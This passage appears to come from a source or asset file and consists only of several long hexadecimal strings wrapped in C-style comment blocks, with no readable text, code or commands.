660dd71b1ef977b8eec5c6b4bebaedac949ac3acf9236336d2776b8d099c79d0b9ef20bd3f6c5ecc5d8ebf6f964b687da90cb451fd9aca88f4a301240f6e11b5d0af56b17e0ebed5cd56c60e6727cee89271879622c962756be6ec914ec8852c2291eb3d40a303fc78d23a9895b8b37d4d29aead18bab0df5de1bbf21ef91009918ed4eaf6fd82203f8e26ebef72bf5aa7526d0314f36e373b2693db7520e1918d21b2c150544de81346eff5c2c9ca5385f3677ea6b4bbb7dc14afb8f5ce5ea2a9e1692080e06e9b9ceddcf7792f91a1319f81dedd37202a6d1067d869eb84048900d20164f7592015c26f5bdecab95f47e4a7f9d3a2224d24c811804a9af01faecf829771562b89af844ea39d6ea46a9433fdfc362ebcd0bbecf3e88e096879e822772c63448ea93f723cb3bcc8225c62309689d64675e355562aef8985a44dee70405e08dfd585cc764a2fd796d722768f31bae5efcea9ddeb575f5a862d31e04a1815bf75d8aeed1e6767bfe269b59651f2b7e24edcae52004bbc9a51450aa7096bae7ca1fd6cb9aa1332604889e9149368ef5bb96886fbbbd8547d135586177ad2fdc874a7e01b5195b8c2358716176da70f2dd0c0b800a2f46c7a4a8728fd1ff3bb4fe11cca8662d4692afde37db6a0b479e32affc4ed6877281a9e1bb705d77d0d6b7a3cfc9c422ea750360d7cb09933c1d60eac148bf228a6f0d5aed7cbaba1c70ba57056b3f0c3d72a71723210084b901d9c04e8f56114ae04e56a985726473c545cc5211641c22009485c5662da747d5ca7e138b0fd8b896b96ca57f82053912d62e30ec89140c25f07ddf783aa55e9a91b906779a987bfa29415d830e306f7df2dc4923a4740647dda9f56f972af2531782aa05413326ef72d023485a1ea1e57a199a968ff2f9ca137ceef20c9025500bd85bc592196701627819572bcd8e00bd28546c8661eb1364de1b51b27a370341a4ec2245ab99013c44a10ab82248debf40a36012502120b223e9d5b52b9014b8eb010eb85635f36fae89431a3b67961760d20e040d29829bfdafbcc64d4b3e1c51a2eb1999b83aafdd33ea420017a77e0ef8945b0cef11b437c2e7cbae37e0b8140b243239c3f64209383832cfa0f4700bff051f021e8dd0cdaec91b1acd713b425ac5e837d398faf82150cb5a18ace5014e74143096b45747aa5ededb2fa0335b6f80a007f5e1a45f8ebbe56a6f3c4a2840be47123c2098e42a45c5a34f7971c6d4d40d7252c9a14e288bb445e85d67871756e2a3cc1d446328005f46d2413058868567f068cc8af35c232d424c595292d5ba70f3c159d842e8607385a226303046fc05a971cf9939f99b402f5599b2422c6d64c8444d7b13d5c454bae840e6cf41c04e4b2cc0068dfea06a9349e219dd571f6cb7792ab65d9dcd8d7d655006471da84b639fb2886a11b5e203d929a35ef7a9a92ccf4b8658365db18d3f7ae5f6e667b54674c9776cf1504ee69eb177eecc411b18ee566549e4045b0513b72fbd1afcc7cef8966e922953cf29d0b5ec62edbf1d552980e51279726494f25bc297457ff269e12c1692c7e517e40bb1aeebbbcb02da17c7728040b879d7a13959de5ceb208ded0c0cc81337a288927fb5e02ffdd70f995770b3253a185362864f10a6c34075116ebe711138346995c66a7442dfe1f18aed908a1e473c5505bccc7cf13ead4a67d6c1f6b7f25d8365a96f99256b5ae69de54cca3e0faf03416857847df91377f6445ea9247b9cd2ca0df171fdbe3976ed543c74f954129f05b52324ff88e9a1b7a0c10b10255c7e1a80bce442e331e07984a1deeb11de4d295ff316a6ad31d19feb3129f216a30621734e918282ed34dd729e08fda35f8b0702fda53b92c4cc84061b80e4e84b700fd3999372c6dc7d245751e0f238853ac111dc6923a3ac3519397962e13fcee5e899*/
/*124c36df229acca20fadd1c85e63fd6104df116934452afa70cdc167f4a8819949012e5f9474bd33d1efd70af849d9518517670d7396e1bde0cf274831cec3ddf824059851d3640deefb308bbc337694d6684867ca2c304c4f841bd9e474254e0ad074fb51c679d730a986d6088c8b18e9167133ba4b2cd0f42b6f1cd05c38523a5fbeeeacb4d5f0c18bd56f6197beebbfa0b68671eb0da2c24ab8d6e07939705a33ec4fbdc9e8ebc29c281a6b8d44e34cd10ed573feb72ad564291d4d65bf815846ce7a78c0b6c107d67a02c7fbb9a2b3142e0c9ee36236e59f4110a33ee62a359747f71c150a983b6b65d1f219dfeb91b9895c367a45313559b2a491cc4d8087bf69f43d449f4a45dd3934c145de70c1f394c611759693335327f3f79f26c00820d46c89826daefe980f3408331a10438b3fb35e217de1269dc04a0f83bdb55ca87714a919731bd1148b7a80f2b7d245d28ae3f7dd468d4f1f8f0901cd538215c46adc9f192a02bb7a29477038d16bfb1c763b38bcff38d1b9219fc2a6b90c728d9818b099be287d524903c5da835975138c12f76e8ef2d6f5c887bb7e03cf907066c98674ae194fb1f015f41091a32d277c0faa10c0375b6f5f1c1235d0346947d0152583ce4929745380d91c2043dd63c29bc8f45de2e8cf55f6b018e27604330db58ab70c2d6918af8d124fcb6e1a0205f9a0d5c4351b9204391713dde750d6b126c94d33a9ebd475007b1b593308a1335d3bbc2a9dc85c7767c4d73cdb3a09313a4c634064182e5f4685d8e4a65f5a383c6d1b3259a92dd55e87275ccf0d0538fd43d58bde93bb24937a862e6459fb0b3242e286cb01148f4c65156b0fc76777d725ec97aff28e32835243c43bd9bcf93708f6c8edbec7cde84be91f6486ab5da752c027e2f820c0a7eb1091cd6c36560dfb77cfbba82f2fbfdd8b5fd8bf4bed4ecc96f503dc98b2d5098668bc41ac6027b7b62d11c894dff9f1ef5f9a9c25efd4851833582c36d123f6c48605301135aadcc6df708f3e8baddcd0662f4dc622a92bb10d88897b65191a09bed51ba5d3e2e7bfa1b5a56acd639913157d7b542cb268ecd71f586ea8bc88ad4d9553c25bb35e87c70570e46391f96cec05e965f1790af70bd0430794dd4828839f2f681024b464b092ee4210f990dcda7809479d509ad2f1a91f836a9cc27e43ee7663e960a9330f6881f1770272959a694c533b593b6b57e50c2d5ca16f603eab768ed7f9b4bd4b6c11ad55b80232efba109e9abc26c0b569419b49ff2a8275f5133dc3492c2f446d400c0b47170a888810961f3974cd71aaa79f65d4e77e6dc6fbc3386033c571a85a51fefbae0c64b99f6d4882baa22353c450bfd800f4a22bbacc9df6ab2f5e9166f847e4dd7e373c62498a7afdebb8d05559ccc2fab3a00333f508ed59088c7ab1e3ebc4f52d5e9fb633e46f303fd8c7db694c3e4340c59429880ac1bd9eb11168992370e4f8aa3d31da79a95607fa6435889b46f2a39419c765287a2e7092dff7f2e3883758d0bd4a711080e2ab03f3d163a2123599d40bcff062d81ebdbc3c33675d5d30eb15c1c0de49ccf921209b3adf122cdf3e08364b137c632cda4136e4e9023398353f19641c17089f1863a56ae8884d6f47ca95df8ded91a9dd2e6ac445f3dfa9331e1973b3ec15c7411c31f942e133e26e018179aa2b89f8fb776aac27b4e750bbb2d56b5d1787e6ddc67465766f25dcb0772713a38ba8d51d8ec0b6905588fa61f3f221de4004037718a1e5f3798698c7138e7c70227151d3cea3508c1d4b8edeec8a928fca493625f3304703519b26e45743d9cdd8af092e4cf32d48c7e571c4d3b855091f6078f8088ff7f13ac023026ab2d5b05885959eb0ceec0e453324cff228e3925dec4072f09cb0ec7397ff3bf739a5811f8616143faf4b3b118acc8dcf0464c358f54f2980ae873dc34725c4c7e23641556e65773520df5c3c0faa1dae4948f59849970233cdd09e9907a0fa6aafde3b48bf8ee7a6e137f6478393cd4d89c4fe35ffffbb744c55596a357e50bba8d6bb614b23d54b36a4b2d36d4280f104c3f0188a53814b07c1048608e4e10fa9c1c46805299562dcae1f92cf03f0a2345f4931e60a63d4835361e33ddffc2f14dc1959355b15f5f697195f469335349e370a9110b36db1f08bb68267db505abf26acf28adbfe21fe3d04634f3627a058401ba2bf104f9335a748bb8eab1782ee45264ee12056d26f4862c91880abd181db47dbeb7b3043351f3ef6a6074db0a2b21a4a9c7bbfa36043505b48c372c51e4f181b7b67ab3d26472a61ef5773d3ec859bacb745f431c474185eefa9f92529a4f8486935a6e99ddc6eb1cd2f651506d273229890f20d4ab569619e7d61c5d9dad9db661ccc8cfa983240f7b8451e51161df036191d09b595ba51e8944672499c78201e443478ee05c60885ee95a30414d5fc911839b7eea6439d25ae69200a74afa5b27078980a8e2373aa26d8bc63caea775dbbeb9d0c25c041920d1368af965d9a9ef3d948d059af17c505dac5587e8aa0fe04d93207524a5025d01430002f8ae0a3e105824d0d857b3e69af5f773041bfaf92c06569799a4c0a07bc1baea2e55c3f83200d3b320e104cfa64e2c294f6a815323514bdf20e390386aff1ea184124e18c3b8bc071b4e2d0e75b9764a72a49d4313f714af95e6371cc58be54bf73d0d1f5f0defba439576008fac7f80e7e1ee75f98293d765157afff11d9c519703eb1a03c950f1cbbf1261d155d2a1963996ed2f41f0d6ab7daa19f1624539d1bfbbc38d2fe61cfb13863307d4b3f*/
/*99e3af2d2fcc4277fddfe07e8e09e09878882805a3d5b29ea385c9b4e43bba40d8e6810b8538734c2826b0fe59ac76641166bd97bd1bd45e97598ae9edc841971d13093a80ce9cf359ae724124df7b6e79d560e9b04c3fc92b16543497190e60e4ca1b48b1855eb809a446b041fd004845832549b9b777ea3b58ace98a94a8ae33182358adb19da963ecafb305fd313fef0c0094937a00d72fda2f4bb8bfa340ec9a80e1537eef5d28dc843d581bbf6128490fa8bf27d26ca0ee8bb1827eefcdf49d4339748cd7f561983a31f25fc70639d5440465e3742b9478a96992433a01fcf11a9022074d5c585e77e452c30462881e0d68157b2fb38334cb3f1c12e3afd731aba39287c32aca27e1c12b1414ed9c8d23f328187cfae345c61520bf45deb385da1849584bd3e40cd9d66bf0e48aa6328b28a50a013841de434a962cd098a8eb363392e4204d79ec4a1860c7b7deadce2c89b17785b584f8ae334c941751d16447bc04cf19d55b60e75d12f98efc2c2ea41efbfc9beda85e254ae0ada3bd868e1952249e9e056247872fa9d64f89c57ef886e0924ad1a4a99f99e6c7b1af2936a08f992927884ee642f6b9f929624d6d553b1440532d6ac377db4e25740cf626e2f23d644794bef6963ed103d79b26d5012d34957ffaf4c3ed5947d0457bc3f75a0af5754755b304a76a6ceb470c0c564375871db74c8abc2f767ca6e03eee5d8361342ba746986608b33bcf9350364b2e503139e85493242ce54ec968cac384951e7a5b4d40316d5e2af29610d9cc36428e57ca337044da0c712ba52283f40ccc7ced5adf68604718abc5ab61803b66234660bc5ca9c3142dc3c47e8c3b9e59efea7b3c9a5259342c2ab155c557d26c7dbac79a78edf6e3a5a59a944e38c64f41bff30c19d79c9d8858a75d4d49748fab6be18942177fec0e9ae3fadb2b0a0ad65602d00264c56891234c9a189a5871c7de5268caee4476ef0bf16d8e70db31be1aee1afe94b6011e320040f52c603005225f3522afb683f2831df126eb4767c810297d025ff5ce43c272821d9ee06ac6b246af564336daf78ed61a082d3b4c3c3d32d116cb067d6f937b8e042b7e00e14ee4bac655ac90dc30104131f47852a0ef87cb6d88a81c384ca17ab756603efeec1595bec8a380f14f30cd304760b25c8ad9a8a645292fa85c11fcf0005386f68c915764288b561c8dfbb7cf7a720ad416a3994ee6230de584ae440996fede10312d8f7fcdecbf00b741f4c28adea2841ad910d68d2ecf7447c8f39077a3069685f9f5557b606689afc89e6fd40ff1dcb8ad082dd6e6191c7d6b25edc44aba11eb1c5a1424c0a3d33919a3b5bd3a92d42d793ba20ca8d493e21d16abeb366ed4fdad8f56d06755b5d39abac1cb603ae024440dc3f471afd35ffefad6b43b3aa3194212803410985d515f7f0779cfc40707b30a5a470e928564fcb6ced02a261d4c27db1b0385b5831e543371bddc43c1ea3a3295eb7ed6726ac3cfea00e6fa01238185c13b1297c1338ac8f0257e4a3988ed57e8dd71541c0e80031ff2f7935f8dedf915521abb2b87802003223cdf68576ddb0bd7744fc90092b80965b09bdff1777779d0a7e1dbdae1c23403344072985a5c8fc69a090e5cfc9c17a69c5f046812bd93905360fb7dcc8e669a93d219fca21cabcaf4c8d5edc12651a4aaeac0fd5695088f96dfe4b03af386e16a65b55fc4d457ca19a5d9c4a754935168ee199e2a950b0cc52a07386d69827f7f6446dda2d02281eb536c8c9b981092018833abb6b790be0cde45ee42f184d16a44e76ef999ed64a2a5fd050d55df5748295ce3e4d3fb8140c325723b066bd16fbc586ea63f26ddee4c90a4723418447850d85ded3b1ccc185e1d355d6c177e0e7d1f7d93b77e9d3b38f097d38061e5113deeb65fa4f4cb53cb5bc12c3221e1025372e3035312ebda8d85993fe2cebedb74d69e93483e94c9636c307a4004f0d6ef9ca80c6182948902a92a589c7e6a77f4df342a8ddf5e459d6cb5d0b6ef78b2cefe8ae2524be4c34343effba22a50763afd07f6426669ea973f9be521164c8d8699a55c10e98c48a867df43aeb1b6d104883cbebe5958468cd717fb7e284ff856899c98fb5090fcc7490ffe1baa6c8d2c2192d1220b069d5469cedb6411817c8f253980f6e39bd4d566eb76b21333bd7c35d671eb89d23c23b4d7fa1f1699c73b010d197b0d3cd9d4a1a0f5268a83d1a5238c9cfea42d2d61ba2393b2073d42b87a282aaf0aecacbff88e943d25329706349d95d950f2434ec2a50acede2245d765c66e91e3de52fe3ea9954d354bb18fc2437a4274a2e557a18467ae871eba2bb39528d81bcb98866a0acd304067b9ff86cc3b70a9570070cc89f4ece7beb1346fd2349767b11e000b2fae20b837e842212dd850781f6ae97a6cd9db09d1156cb800231c9454295f3557f5987a84bcbef33400641fa4866c586d56a593740ac38bd8cf0a47412d9b2880706c081dafc17f405b7a45522457387022c598f626dcc378b182258451760a05e3b187393813a2974f5bab56a88e6f808e4b1d737a059b2e05a7503c63eb331394fd0211dbb54d304549955b2c27fa2c4d52c9ff87a6e0327ef2605767994d3a9980a509ab6b60062e97209a881d69eca9695fb57ec73446f663555f08006ec8206df8f718174bfc99211c304edc15421709b278049603239df9e5d46c3bb8ee125218fb403e350165f7e3d806bb5554777bbcbc170ccdafae41d87a29b44298380b12f7ae2794f8f2b6646760d06822145ef2974d61b67ab5c7b2bf74d187f9ed27ad62*/
/*c7791cc1e2dc9752ec3969ea2c95ed80a20769d082d8a9e49993525f689d424b39af6e24f1e5430db49dde7ebbb0892d8de7edbe3f1f186bc0757ffcae0740f2afffe3a04360d3e88a6e1e4969ada063c145ce85b6169e8b4cb772a03b0ee1e0a0b9dae026b55b8c9e9ee3aca5c7807c08edb1e96da1f001f23d6076ad8847bc7549882fbaa95ed370bd9a6853213930bc72f5fe460ab58c541b96b8be4038ad80d4d10d050d4d14fd95bee96bf976b9aac443ab43247d1ae35b83186c4b1c03f6070c8d77c8443292bff4a8c62e7a5bf53218fdb66fa19edbf72a88dbe8ac59834a47221d5144e1ce5e775913aef120b55b2eb9493ca0018ac64d0ffcbf456c8ad06f573d7056d1d23f5440098c28544eb3da8ac6e75e564cf0339669237843a45cc1a0b9a85d9ea052777554bf48fde066badf05a3bfe68adfa8d8a1f565bc2cce77dae2a5d3fdca13c55355ae2798a2c6c0acc81e3699f736994bd8e0c41576c0dfc85496d17c2c77f67dab840af3f9afbadcd9c2a67ff9cb711afe9f4ba785225e5d9816bab8212b175019d9e1524a701b3e5a68e9154f2b1a52f80a1953bfbdab0ac9c826b31ba99e689ea77be691a2b45a6f02193c93c6ee5a8e00bba7ca616c453ac0ff71fdc5ab278974f43851fa20c5a97f93c4ccc557dc8e6d03e27d15dce7f9ca4b01289aaaf66d2c493d6e07bae30594ea2d4ace24e86fc0e9ee4b927e696fabba8ae2174b06b73ea42e0b87466127f10af7b79e38bee83e9a5251f0ca44e7777e12269cd264773dffdda6eed4618ed0beb459a781bd9e64cbdc4c3f43060daed36421d20ad4c1c6136463716b67b2d243d9a34e1159ad5db17f68ba6fb039ff2020d265c70936c97bdd82be6c3a9e2babfad04aa3396a2f8d8fdd0531c9b368abada8ac7ab2f1786b30c30549a0f04503e638192c8b572d9bd17e3b026ace53f82a99b5bc15728f19bbbdb059ce69a5ab44af70af405f0a2c496f618c76a2e085926337239dbb7e117d8a36bcae761461d3675d103f33996bbea79d17d6343ae193c1ba862431b67080e03654c0208be8e9c71b5382d5c58cf1f3f145ab2e0c66abf56adef7825ef5cdb5edbe25575d318f44031f68938875a5333fe11b2d1cecfa55253ed4806aefb21a194eafd95c6a51c632ad70c95640ac24af366c0e8a06f52c83797fd23aae93c474bca2b82065efe440c3f095ea3f282fa8dcf0b53066b9461a1244e0f193cfd3ac14a2430e7b77a8862a25f61a38426ccaaf9eb6fa54c0a84de969b7ff24839e4bbfe5477dc42a44c944fa579cdc9331b76805feae766b14f75739291a5c6a36aee0a6f7a9df92d38d8f97e27ff3a78315b69258698209d27e93fe6ff6dae5985b2b75ccea379bf741a4ec153afcc9cf2b8e5c03b27a5cbeca08b3e27911f5608c8ff3d54984fce03987eb0d44b9196942e6e3e3e1255e60d8d7fbb623d3eb52cdd598e8afba1560c832969c50e68578ef5d56353c2b80c0040954bb1a3445d91561e7a971644ec862bcfff908af4a15f39b9d6957d75698cc592fb35c69ebd3655c09db1b5144c8965f7fdfa8ca73d2b7728d7b2391fa2c0d4bf6868e060df196df2a6dc17912738613f306a3dd36e95ae3a8f793c0a20cde077fe39638f03c26e503ab4b7bd830a0662d1a4f6848b089689fd288d2d2b4b0d364285d4e569c39552ae5416e53a3e928728c90d323921e2b10a6c0f83f227a5c7f0fc41bda0aa3edda49ba32b097f01542aa82be00eba2e1c3120e41aae86760861faba0233ad6cd13e4b40726c3280f2fb05a2f8fbe20cd96ed813ced02600b8b1904664fb1abc7285faad63eeb2d63c3cffaf537e00ed059fbba52e4f78b72d1dd1eee9798b9d4fdf7e6a016787023c09428eda4f64d549ae504e20a005d119eb5dec97e70789df00afc4a13ad5a9f8606ff3e556895f5621bb516d62b1c23c53a34ee410ad6502baa78921bc306eb957a69983fee3c49c7decccfc72890b6a630e97d0bfd4c2284bae7cb82dbe3863ca265401c8e9b08491ba83e3e47f390b11e390166a008b38c7fc82f50b8c98e6137d1f06bb73a2409b73a6b7ef6bec2af1ff20740ebb9c4faf70fe64352233e13c6f1738eb0f82d5bd025f530080398576dc16b3fc3380335be4192c6c365afaee83f6e46248d54948bcc4a49d83c00a14f3268a58aad2e82fb9c5e7cb6e9a52dc66bafef9ed99b684a6b84cef191e309ff5ec6c23c1e6157540695bfa14a54a1f47bc1f771b5844351056cdbb023ca78a4e2b2f1394a5778f34249b38ef2f20f259dd2ff3be1afd1dd27faf2eff2792b313ebd58d24d8145a36bbb7b044ff8078abb96d9cc274b1491a80cc12fb1fba9193b3d96d0da72d6de3a23effd60e72769a73a2fa5e00c0fb934c52a860bda1e5d8071a548593162bf6928f30142674c83afc2b705eafd414e4b200fc60e2466785ee65c891e341a305f1889818c063c291cc013f72f26203c483ebc2d4ea9dc3690f5263ed8768b9cb20019307b35002ae5109c5891e32f427686e1b97bbeb9f849824c83b2b1313987c3cf36c625b07577612dc912f126dac772e80464cd7f4505965ad0d2ed48df695d70d8d58eca401bddf45d1a149326dd328d4df7987a18bbfe6a3fc7569b55cd56b467f85743e2b1b93b412a547f69c4c2a18fd767bffef3d679de5df41bda704a0128f8a96aa391086a2c85dd17970595d6276164e9dd9a023c319fa34a546fcf7336968fc1d4b31941d13ab74042c12fc10daee3bd4ed4c06e469a0d30ad94f6f5056aa8e572de75e3550aca22a4555fb9b05a752e5163ace6*/
/*6c2d0082895e9934c1c3eb96c5dcce10fd9571f5f7aa4c467372b8cf160912e25a6d2b54b12bd0157553d21e8668e29253b83f7951de9c892af7e4e0c522884876f3920a57ee0a57fc36bfd71bdc615622b160e61514dff7f1edb87c9ef4d627c4492dfacdef142abe3153c564e8bd13bd4cf936c90bc6f47817d46b1c2e8c7d2e0b4eb6c678216901892735a505cece75feeca8c99901f709d4557ded6a0a72974057803539b37ddd10eb8ca2aa94c6f54eb9db282152290ca2dabb67af2d4cf06b57e606c06ce71ca7dffa9d9efdef55a94ee7b3edfb83dbfdb0ccafd4e7090f67da9577e11599637a09df1da34f9a2749725809e0938abd571b097d7ccec6b65f3296d150b5fac09c957bad2849020d14e0e2946e3d4c42c2f1c17a01b4667a857376a6d440918c85b2a36fc0e96e29dc0529f8cb7da016405fc756b4ca80b5377ffb6b8219d67daae7d79e198028e56f9ae5f9ef72f3206c2825e36de0ba6f3f3a19b01e9c234a9b21c40c01e4267d9e8d261617f9f80781b33b927f185bc5ab2a9034d19d1642c198c53556309701ae09600ad4f7c09cb59b93dc086fdc1c2ad90c6771bdc4420736b5bd6efe82cc6bd6fc55dba2258b1bd4b41268105d0d09f456f47aaafca77fa2fa9b1f54b03565a079969157b7bad51c4b0fa86af9ab19075be91d8c842c058770ceeb8d462c918fba3cf88fdf3d8ab6cfcab47fce2ae03882636ad2f3643e569c3a5e83f753809d5ee31de4ffb50471b1a9b5aca7cb2c3c3b6c81467f580fd391d12f242ca720bcc774dd8c7daec2fdfc6f02c3dd6a0efaaa80d0f2fe3e52b520dd1ac18a8e798d510628689d24bf1c2fb3e92a45ebb72de15783f869201af6830a164f23c6f0cdba8432b9cc468f9e227c9c6b0fe9dcf85c08080566dfda72af86b6a04e1e5659628ac389fd10a1c420ddf90eb52020bff282106a414a9b369a092a42a608f5119ecf929617374fcba831f9bd007b8a4523da90d4c8e3809e88c458e8ec5c1e7d9522d9ebe96eb964ed004da9137de015026693efa5ba3a663636099166e36d6c3b898e500dd56e34f46b2c9da06823f390b11322e5c03fc9a0b8179fc78d546721b7d5b337a23cee2decbe5ee75cb2745338522eee377db2e7442e79a90bb5ed4eb98fba5dc14a91ab497ab8b7df61b295c514d789a94a92062cb719722f4d7acf8b93e74264e250aec6b6e1430dd37a555786a3b1f6ea593acc923fa8f77e2b553a5ece466eef16a2e018f53b6607d9eab60f42bacc01069c927fb17822df806a978eed14414d891e15bba3ac50609f97f3b43b29a502e3bcfcaa4864c7b5240b2cb4fb8b05272480ae3853ec8ee2ae2793bb99f6740e80f1cd97dd73229a376d21e7c2fcd0166696c9b6417b9c0c9f124181b6dda28049d52e2e1b090fe6824a33657494892654bc42d97c9914662eb9366e23f04574e8d69407876e7d66490f7aea0d51a44adbc687d54427c899ef58c3bd11c7a7adfc981ee70326f658899c260e99fefdee6c637f4acc6a6eb4f6205cff0e096a0f514bda0c8d4572642fc837eefc87acb956550062a1cd782c9bfe511c9a1f753968967840d8f573f324c2ccf0073e19db6ff43fe50639a00d263e0cac3a688e737cdc2ee299598ea6a62722fffe38fa764ab0cbee2c475cda409721674214bdcd1123fb48f507e4289089087eec1bc3a3f6da423835480a4e043239d24da8b969366f333d302f0f7932fcfd50fb30cd6f081cb70f3d5ee31cbf8b8f4036cc2d6d0134a16396e641680d227ef59f34048bd216b7b733ba5ae34c011bb61da74e4a2496effc0f37b7bf022bfac093bd7f379a9a89161756f4d2348f00c09e4436958be000f5f679ff116a8c54c5f8157828789cdc87d968dbaa1388201eacef4d46cb34866890b6388a4a161303562e902dfc231edd197baa5c6320e1ded4fbdab7d39be2fa95b4b8c3d5d3c417606e5ba79948c0ae1be7b5e6ec9cfe242bddc15caa3b86917bbc288a443d1f95adc4b1aecfbf4997f2832a594dadd250b1cff36188e1a1d53c5a506899b8a230bea53924b6160bd1663a81f826a912166c7ad4224e95629f095d4b4e4c390c530b101215b662a8bff4c7ba0fc0b2c27a0887ff81a51c5701697ec898698d73d88de3a6fcf72573d6a884dd0c21f8315bc8795bc13691606e3a750e6fa9bfb4f521ab5074c2a3a927cc9b35e0df6079026704ab7d798a4d703c6b29a0f4a57200213b86f3ce00b4eff130477024562c18c462c268c1c4b24df029714e4bc98b7614bfcad09f55d59a1e661ecc42953e17e83b89020b626664559dbe0f18ecfc1e1fc5e5ffd4a73b2c6a2a160a6fc36ea091ab67f91ba2ab7d78547717b2724d5522a265778fd528b31759b218125d719eed4776027fbaa2d68a49a404f4a31293f411faf70cb124ac2e707b5bfce89e3adc4d873540c682ce9379e424b5e2bdf14fb4da802e657d5c4b1bbb35fb1c2fc6c64cdc45f3f243673e6d4ca3c48c108876b899a77208279f1a151b01153a4928ba8ab6e1bc6d5d10a6d8bc4ac167efb7de25a0bff6d09c75d50e32956b44dfefea4452df7b55b8a951e59d212f3b985f19fdce84679cb3fa3be618e8f451561323e9074bb389deb13dcaa112d4bda276d9e7132872d2ce83fef18c5d173089d779fc670901a5bc4b9719714209964647dd2d86dd5b86d24398838f857fde567fcfd1e88aa20feb910660743b585035263242808d5bc36483b11830963378520fc42b3ff980ef9b9728fdad2db53c3195e83c3429347536bd55528ee1b2dbb7f7a880f15a1882a45e752f*/
/*6e224357315b92076cbf13d82e4c7e7a67b7c5f07590d9428c969d79502addc5342d30a1e4331fa473c253cb6c793081c779cf842b238fd422b23e5a19d03bf44574ea3f80580177f4015a746fcac9991d428f59c9fb942a92c66c2d94ca9b54cc4f625ab0eb9ac32aa2075e5b4ba0a7a700bad9efbd7b8caabf028278199d02a604e58fcdb909f8f0152816dee903ca082ca7890b2cd741956608930a12aeaa5882a884a880695712bb598111114d7a805195cb3e90ba5a513980ddad77ba88dd29d360278e4e3d74561261a81ccc17d52d0125de11ff6a6360b21ae9c9549137c2f679be7a3b2fe056ffedae832ebe323f066deefaf34c7c8d6403eeb7b5e4e5a60d6c11f32fcee9581cad28732c60d7b5a4e1522a5efcd895881a0e3c46a0b129785ecff527d3d94c448d39ab6e2a7088ce132025881da43e8360734c23d4165ded5be7e2ef1aa4dd1f09641a9862b50ca48af269993848420a0a7b733d79761ef9a0858e273687eedf64c8b6c893d5a3e90ad05c5c9fccc9d71c9311ade813f0205316a9e1edba2543a920529de7f0aa9763c3f4519b37466c43316f59e42736a5ecbcb240cdef36ee94f5787cfa15b5789f651d16b2ea6ff0fbe238f0c61f8694d423bb130a2c7ffe9f60d86868106ae46cdbc7a149015bc5957987af983729abbaaed22982c3c9f3365ef122b9b14ba569534fe13bda7b5befe3d5cdfc93551d338299075dd660b57251909fd9d5dae7d78eed9c90a00cd78c1b0087dacc561db7231820e2a6e9f3d29ce94dc04a8d9cf5d30f27a4842aa92b442c183941efe8c2c1d5e5c345f0d1b0fd6df178049e03d330144ad16912d352739ddccdb687d2d0dd6a27145b6ae86fbb1df4b0fe692aac676852aa42bf28eb0b526841993a4feee0fe70b7e5aa45098882d27d586488504e172c01d619c2f823757fc73d5b1dc459c382d08f0cbad991d05e3cd259aedf883e6233c4db227fc9376dbe4edc7fc93b29850464e37d817d491697f0ed08ce15eda21600347e306bfb55796d97b4fdec1c6d1682ec544b809d7525f64120637ed48d4d0b3b602fe813997ab4b6e37145d9f8e0d3834ddd0c404091bb1dc8c54bd1eddc71986056f0ffd33f06758fc73123418f6ac0645e0caa235c47fe8cd7ad067e456d3e78d7df17adf971198c813a57e500bca4a94f45f4a359811c43f055277a3bdfe34e9cdedcc2dd26f03da27de2cfdad9ae537e8764c8fc75273521c6cf36e4b414e794e90de64068db841c280845c83a4d6489f7287122fbde783d14b1bac52c437e884e56be25399d478016ac2c53297226e00172b0e74d0ad82d91d0a3ed3d795b1ec472ac98834969bf28ab8b0eca801da4061fcca7b6b5e0dcade036fc12d239e31e836233018344ee4c63a01709d0a9cc1bec3643c8ca8e50e75635d8d77392bfa8a2d01711b02d6b4897f343eee8fecc11cc4019db597ee1e4c8faf4f87b99c1959083152c6c3cb4f21e20382bef0364940a1d34233551195ff9290c9a6faf3a0c590d477ba56083c7f60a45b42cbd96d69aa232c55f598fa7b512862bc7e9e2a516a57af4c651a3d7f07de79e14e5d1721293ecb3b4c633a84f08f0029a0e99cce9e1da2cf38d1095d73ae701c3305a6316ac19020f024d88fa91e8603f25a1084a6b218622587ce8298b546d1338422b2bfce83f47081a0e6e6050f7142faf0e9b683828769ea6c02d6874fd0cf733a64d65b24ddc1a6873ab89f2183abdbda84c97a28dd8a72a3966a11a345846c9681d48db9f008e297803b7c44430bc7fc909cf2c374c9f5b441d5dbc4cbb1d3d55aa2768107ba914952e83e49dacd1d2303524f92823b16e92ecabe0553a67d380c2d753de96f7d69c4292ee6113c31fcc01891fe7e8ca5314e8557f50330c70a1166cbcd5dedc1061700e04a10c889b8c4328320dec9bd1433551bb731c6133d15829fab9e5b3e0d2a312049faafbfa6c08202b23ba29e5635933a3eacdae324226e0c7a8d5e360ba9ed1aeb8652565bf7f828e91692e8c05124b30de706ef141cc183a3fd9616a7ee3c79c457d726232c3bf883d36f7f7f7434e46c003f88486af90e74a080558440ce53e167fdf3fdaf03293c85d45fb8ef2eb59625bc467f5323ae1ae7077678701bb5403ec94c0e71556b2cd69a91d5ff476946ad9025b7ad51b48e355c74f9cfa6358412e395c8a3718bc3e3d2da71baf913dd7228b6d26ef538b1f46baea7b52f2794e4d9412cc651a8c7b66ec55ca724136258e6bee52be99f8aa65f887ad654d479f1019f2a774180090bd412e96ad513b5c24d3d98bdf28c967ea84a78bf3cd2aea586120b3adeac117505b3ff47e8c970a5289105d4b28cce06bd179c00718d8a4d8a8d8580522f7dd38d192764fbd576ba41f35ea937c11f90b35dec31393277880582abbc2177b96c01b219a2d8defd2c4cb50506dad9a77177b0a6442560463449288cb915b20d1815b51cfdb03a5d56f64e268ad8ef6b6751b2ad4cbb6707ce39725a312e6afc82917c7586f1de607b11580f11258dadb0a0b3c12e025ed1b3fd37399be39b563fce8778e21100f731ccc035cfd0fc292212b17cd071a0797dcd9bc43a315d9a11c2c05c28d4f7cc4b2924f0047cdc44471586f0adf2353cf813b6d5405360de88cfda878de9fdb277ab4c9694e3f49be7d8989159d75566fa13fb87f0923e3810422b5cd2579058db34fe52376e9b0c54f18a676a830490ff3657dd62fa261a9035fc4227c2337d5e31bf0a6e613e20d2f461e5730372b1ee193ae30fad8861d41be014479c17037a379e14ded8dcd*/
